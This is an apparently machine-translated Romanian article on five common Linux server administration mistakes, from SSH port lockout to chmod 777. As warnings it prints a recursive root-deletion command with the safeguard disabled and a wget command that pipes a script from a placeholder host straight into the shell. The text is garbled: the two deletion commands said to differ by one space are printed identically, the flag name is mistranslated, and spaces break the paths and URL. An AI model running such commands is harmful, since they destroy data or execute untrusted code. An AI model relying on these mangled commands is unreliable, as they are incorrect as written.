Comenzi Linux

Cinci greșeli de administrare a serverului Linux și cum să le evitați

Cinci greșeli de administrare a serverului Linux și cum să le evitați
În 2017, un angajat de la GitLab, platforma de găzduire a controlului versiunilor, a fost rugat să reproducă o bază de date cu date de producție. Din cauza unei erori de configurare, replicarea nu a funcționat așa cum era de așteptat, astfel încât angajatul a decis să elimine datele care au fost transferate și să încerce din nou. El a executat o comandă pentru a șterge datele nedorite, doar pentru a-și da seama cu tot mai mare groază că a introdus comanda într-o sesiune SSH conectată la un server de producție, ștergând sute de gigaocteți de date de utilizator. Fiecare administrator de sistem experimentat vă poate spune o poveste similară.

Linia de comandă Linux oferă administratorilor de server controlul serverelor lor și al datelor stocate pe ele, dar nu prea face ca aceștia să execute comenzi distructive cu consecințe care nu pot fi anulate. Ștergerea accidentală a datelor este doar un tip de greșeală pe care o fac noii administratori de server.

Blocarea tastelor în interior

Administratorii de server se conectează la servere cu SSH, un serviciu care rulează de obicei pe portul 22, oferind un shell de logare prin care utilizatorii autentificați pot rula comenzi pe servere la distanță. Un pas standard de întărire a securității este configurarea SSH pentru a accepta conexiuni pe un alt port. Mutarea SSH la un port aleatoriu cu număr mare limitează impactul atacurilor cu forță brută; hackerii nu pot încerca conectări rău intenționate atunci când nu găsesc portul pe care ascultă SSH.

Cu toate acestea, un administrator care configurează SSH pentru a asculta pe un alt port și apoi repornește serverul SSH poate constata că nu numai hackerii sunt blocați. Dacă firewall-ul serverului nu este reconfigurat și pentru a permite conexiuni pe noul port, încercările de conectare nu vor ajunge niciodată la serverul SSH. Administratorul va fi blocat de pe serverul său, fără nicio modalitate de a rezolva problema, cu excepția deschiderii unui bilet de asistență cu furnizorul de găzduire. Dacă modificați portul SSH, asigurați-vă că deschideți noul port în configurația firewall-ului serverului.

Alegerea unei parole ușor de ghicit

Atacurile cu forță brută sunt un joc de ghicit. Atacatorul încearcă multe nume de utilizator și parole până când atinge o combinație care le permite să intre. Un atac de dicționar este o abordare mai rafinată, care folosește liste de parole, adesea eliminate din bazele de date de parolă filtrate. Atacurile împotriva contului root sunt mai ușoare decât împotriva altor conturi, deoarece atacatorul știe deja numele de utilizator. Dacă un cont root are o parolă simplă, atunci acesta poate fi piratat în cel mai scurt timp.

Există trei moduri de a vă apăra atât împotriva forței brute, cât și a atacurilor de dicționar împotriva contului root.

Copierea comenzilor pe care nu le înțelegeți

Stack Exchange, Server Fault și alte site-uri similare sunt o linie de salvare pentru noii administratori de sistem Linux, dar ar trebui să evitați tentația de a copia și lipi o comandă shell pe care nu o înțelegeți. Care este diferența dintre aceste două comenzi?

sudo rm -rf --no-conservation-root / mnt / mydrive /
sudo rm -rf --no-conservation-root / mnt / mydrive /

Este ușor de văzut când sunt afișate împreună, dar nu atât de ușor când căutați prin forumuri în căutarea unei comenzi pentru a șterge conținutul unui volum montat. Prima comandă șterge toate fișierele de pe unitatea montată. A doua comandă șterge acele fișiere și totul din sistemul de fișiere rădăcină al serverului. Singura diferență este spațiul dinaintea liniei finale.

Administratorii de server pot întâlni comenzi lungi cu conducte despre care se spune că fac un lucru, dar fac altceva cu totul. Fii deosebit de atent cu comenzile care descarcă cod de pe internet.

wget http: // exemplu.com / verybadscript -O - | SH -

Această comandă folosește wget pentru a descărca un script care este conectat la shell și executat. Pentru a rula acest lucru în siguranță, trebuie să înțelegeți ce face comanda și, de asemenea, ce face scriptul descărcat, inclusiv orice cod pe care scriptul descărcat îl poate descărca el însuși.

Conectarea ca root

În timp ce utilizatorii obișnuiți pot modifica fișierele din folderul lor de acasă, este puțin ceea ce utilizatorul root nu poate face pe un server Linux. Poate rula orice software, citi orice date și șterge orice fișier.

Aplicațiile rulate de utilizatorul root au o putere similară. Este convenabil să vă conectați ca utilizator root, deoarece nu trebuie să „sudo” sau „su” tot timpul, dar este periculos. O greșeală de tip ar putea distruge serverul dvs. în câteva secunde. Software-ul buggy rulat de utilizatorul root ar putea crea o catastrofă. Pentru operațiuni de zi cu zi, conectați-vă ca utilizator obișnuit și ridicați la privilegii de root numai atunci când este necesar.

Nu învățați permisiunile sistemului de fișiere

Permisiunile sistemului de fișiere pot fi confuze și frustrante pentru noii utilizatori Linux. Un șir de permisiuni precum „drwxr-xr-x” la început nu are sens, iar permisiunile vă pot opri din modificarea fișierelor și pot opri software-ul să facă ceea ce doriți să facă.

Administratorii de sistem învață repede că chmod 777 este un descântec magic care remediază majoritatea acestor probleme, dar este o idee teribilă. Permite tuturor celor care au un cont să citească, să scrie și să execute fișierul. Dacă executați acea comandă pe directorul unui server web, solicitați să fiți piratat. Permisiunile de fișiere Linux par complicate, dar dacă aveți nevoie de câteva minute pentru a afla cum funcționează, veți descoperi un sistem logic și flexibil pentru controlul accesului la fișiere.

Într-o eră care apreciază experiențele simple ale utilizatorilor peste toți ceilalți factori, linia de comandă Linux rămâne hotărâtă de complexă și rezistentă la simplificare. Nu te poți amesteca și speri că totul va fi bine. Nu va fi bine și vei ajunge cu un dezastru pe mâini.

Dar dacă învățați elementele de bază - permisiuni de fișiere, instrumente din linia de comandă și opțiunile acestora, cele mai bune practici de securitate - puteți deveni un maestru al uneia dintre cele mai puternice platforme de calcul create vreodată.

Top 5 produse ergonomice pentru mouse de calculator pentru Linux
Utilizarea prelungită a computerului vă provoacă dureri la încheietura mâinii sau la degete? Suferați de articulații rigide și trebuie să vă dați mâin...
How to Change Mouse and Touchpad Settings Using Xinput in Linux
Most Linux distributions ship with “libinput” library by default to handle input events on a system. It can process input events on both Wayland and X...
Remap your mouse buttons differently for different software with X-Mouse Button Control
Maybe you need a tool that could make your mouse's control change with every application that you use. If this is the case, you can try out an applica...